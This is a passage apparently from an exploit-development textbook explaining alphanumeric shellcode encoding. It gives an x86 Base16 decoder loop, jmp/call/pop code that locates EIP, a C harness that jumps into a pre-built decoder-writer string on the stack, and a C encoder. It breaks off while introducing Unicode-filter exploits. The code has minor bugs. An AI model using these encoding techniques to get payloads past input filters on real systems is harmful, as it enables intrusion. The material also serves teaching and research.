If we write our real exploit first and then encode it, we need only to write a decoder in ASCII that decodes and then executes the real exploit. This method requires you to write only a small amount of ASCII shellcode once and reduces the overall size of the exploit. What encoding mechanism should we use? The Base64 encoding scheme seems like a good candidate. Base64 takes 3 bytes and converts them to 4 printable ASCII bytes, and is often used as a mechanism for binary file transfers. Base64 would give us an expansion ratio of 3 bytes of real shellcode to 4 bytes of encoded shellcode. However, the Base64 alphabet contains some non-alphanumeric characters, so we'll have to use something else. A better solution would be to come up with our own encoding scheme with a smaller decoder. For this I'd suggest Base16, a variant of Base64. Here's how it works.

Split the 8-bit byte into two 4-bit bytes. Add `0x41` to each of these 4 bits. In this way, we can represent any 8-bit byte as 2 bytes both with a value between `0x41` and `0x50`. For example, if we have the 8-bit byte `0x90` (`10010000` in binary), we split it into two 4-bit sections, giving us 1001 and 0000. We then add `0x41` to both, giving us `0x4A` and `0x41`—a `J` and an `A`.

Our decoder does the opposite; it reverses the process. It takes the first character, `J` (or `0x4A` in this case) and then subtracts `0x41` from it. We then shift this left 4 bits, add the second byte, and subtract `0x41`. This leaves us with `0x90` again.

```
            Here:
mov         al,byte ptr [edi]
            sub         al,41h
            shl         al,4
            inc         edi
            add         al,byte ptr [edi]
            sub         al,41h
            mov         byte ptr [esi],al
            inc         esi
            inc         edi
cmp  byte ptr[edi],0x51
            jb      here
```

This shows the basic loop of the decoder. Our encoded exploit should use only characters `A` to `P`, so we can mark the end of our encoded exploit with a `Q` or greater. `EDI` points to the beginning of the buffer to decode, as does `ESI`. We move the first byte of the buffer into `AL` and subtract `0x41`. Shift this left 4 bits, and then add the second byte of the buffer to `AL`. Subtract `0x41`. We write the result to `ESI`—reusing our buffer. We loop until we come to a character in the buffer greater than a `P`. Many of the bytes behind this decoder are not alphanumeric, however. We need to create a decoder writer to write this decoder out first and then have it execute.

Another question is how do we set `EDI` and `ESI` to point to the right location where our encoded exploit can be found? Well, we have a bit more to do—we must precede the decoder with the following code to set up the registers:

```
jmp B
            A: jmp C
            B: call A
            C: pop          edi
            add          edi,0x1C
            push edi
            pop esi
```

The first few instructions get the address of our current execution point (`EIP-1`) and then pop this into the `EDI` register. We then add `0x1C` to `EDI`. `EDI` now points to the byte after the `jb` instruction at the end of the code of the decoder. This is the point at which our encoded exploit starts and also the point at which it is written. In this way, when the loop has completed, execution continues straight into our real decoded shellcode. Going back, we make a copy of `EDI`, putting it in `ESI`. We'll be using `ESI` as the reference for the point at which we decode our exploit. Once the decoder hits a character greater than `P`, we break out of the loop and continue execution into our newly decoded exploit. All we do now is write the "decoder writer" using only alphanumeric characters. Execute the following code and you will see the decoder writer in action:

```
#include <stdio.h>

int main()
{
     char buffer[400]="aaaaaaaaj0X40HPZRXf5A9f5UVfPh0z00X5JEaBP"
                      "YAAAAAAQhC000X5C7wvH4wPh00a0X527MqPh0"
                      "0CCXf54wfPRXf5zzf5EefPh00M0X508aqH4uPh0G0"
                      "0X50ZgnH48PRX5000050M00PYAQX4aHHfPRX40"
                      "46PRXf50zf50bPYAAAAAAfQRXf50zf50oPYAAAfQ"
                      "RX5555z5ZZZnPAAAAAAAAAAAAAAAAAAAAAAAA"
                      "AAAAAAAAAAAAAAAAAAAAAAAAEBEBEBEBEBE"
                      "BEBEBEBEBEBEBEBEBEBEBEBEBEBEBQQ";
     unsigned int x = 0;
     x = &buffer;
     __asm{

mov esp,x
             jmp esp
             }
     return 0;
}
```

The real exploit code to be executed is encoded and then appended to the end of this piece of code. It is delimited with a character greater than `P`. The code of the encoder follows:

```
#include <stdio.h>
#include <windows.h>

int main()
{
    unsigned char

RealShellcode[]="\x55\x8B\xEC\x68\x30\x30\x30\x30\x58\x8B\xE5\x5D\xC3";
    unsigned int count = 0, length=0, cnt=0;
    unsigned char *ptr = null;
    unsigned char a=0,b=0;

    length = strlen(RealShellcode);
    ptr = malloc((length + 1) * 2);
    if(!ptr)
        return printf("malloc() failed.\n");
    ZeroMemory(ptr,(length+1)*2);
    while(count < length)
         {
        a = b = RealShellcode[count];
        a = a >> 4;
        b = b << 4;
        b = b >> 4;
        a = a + 0x41;
        b = b + 0x41;
        ptr[cnt++] = a;
        ptr[cnt++] = b;
        count ++;
        }
    strcat(ptr,"QQ");
    free(ptr);
    return 0;
}
```

Writing Exploits for Use with a Unicode Filter

Chris Anley first documented the feasibility of the exploitation of Unicode-based vulnerabilities in his excellent paper "Creating Arbitrary Shell Code in Unicode Expanded Strings," published in January 2002 (`http://www.ngssoftware.com/papers/unicodebo.pdf`).

The paper introduces a method for creating shellcode with machine code that is Unicode in nature (strictly speaking, UTF-16); that is, with every second